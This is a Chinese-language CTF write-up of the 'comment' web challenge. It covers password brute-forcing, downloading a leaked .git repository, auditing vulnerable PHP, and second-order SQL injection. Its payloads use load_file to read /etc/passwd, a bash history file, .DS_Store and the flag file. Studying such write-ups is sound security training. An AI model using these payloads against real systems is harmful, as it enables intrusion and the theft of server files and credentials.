攻防世界-web-comment(密碼爆破、.git洩漏、程式碼審計、sql二次注入)
題目來源:網鼎杯 2018
題目描述:SQL
一、密碼爆破
進入場景後,點擊發帖,輸入內容提交後,系統返回登入頁面
可以看到賬號框預設賬號為:zhangwei 密碼為zhangwei***
由於僅密碼的後三位不知道,我們想到了爆破。
爆破出來的密碼為zhangwei666
二、.git洩漏
嘗試訪問http://220.249.52.133:35828/.git/,系統返回無許可權,說明存在.git洩漏。
使用如下命令下載git原始碼
python GitHack.py http://220.249.52.133:35828/.git/
發現write_do.php,內容如下
<?php include"mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': break; case 'comment': break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); }?>
這個程式碼應該不全,這裡附網友找到的完整程式碼(不知道是怎麼找到的)
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
三、SQL二次注入
登入成功後看到可以發帖加上題目提示sql,猜測應該是sql注入。再結合write_do.php的程式碼審計,發現存在明顯的二次注入。
comment模組中的$category
是直接從board中取出資料,沒有過濾就直接放入sql語句中了~~
其中我們$category
和$content
都可控~~
這道題目有個坑,大家需要注意一下
$sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'";
這個sql語句是換行的,所以我們無法用單行註釋符,必須用/**/拼接。
我們拼接的語句如下
$sql = "insert into comment set category = '123',content=user(),/*', content = '*/#', bo_id = '$bo_id'";
我們學習一下師傅們的思路
1、首先我們先讀取/etc/passwd,就可以得知www使用者的目錄。payload如下
category為: 123',content=(select( load_file('/etc/passwd'))),/*
留言內容為:*/#
2、然後讀history檔案:/home/www/.bash_history,可以看到網站管理員的歷史命令。payload如下
category為: 123',content=(select( load_file('/home/www/.bash_history'))),/*
留言內容為:*/#
分析上圖中的歷史命令
- 先在/tmp目錄下解壓壓縮包
- 然後刪除壓縮包
- 再將html目錄複製到/var/www/目錄下
- 切換到/var/www/html,然後刪除.DS_Store,啟動apache
我們發現,管理員僅刪除了/var/www/html目錄下的.DS_Store檔案,但是並沒有刪除/tmp/html目錄下的原始檔案,所以我們可以讀取此檔案。
3、讀取.DS_Store檔案內容,查詢flag檔名。payload如下
category為: 123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
留言內容為:*/#
這兒由於檔案太大,不能完全顯示,所以我們用十六進位制編碼,然後找個網站解碼就行了。
解碼後發現檔名flag_8946e1ff1ee3e40f.php
4、最後我們讀取此檔案即可得到flag。payload如下
category為: 123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/* 留言內容為:*/#
參考:
https://blog.csdn.net/weixin_43093631/article/details/106650625
https://blog.csdn.net/a3320315/article/details/104216070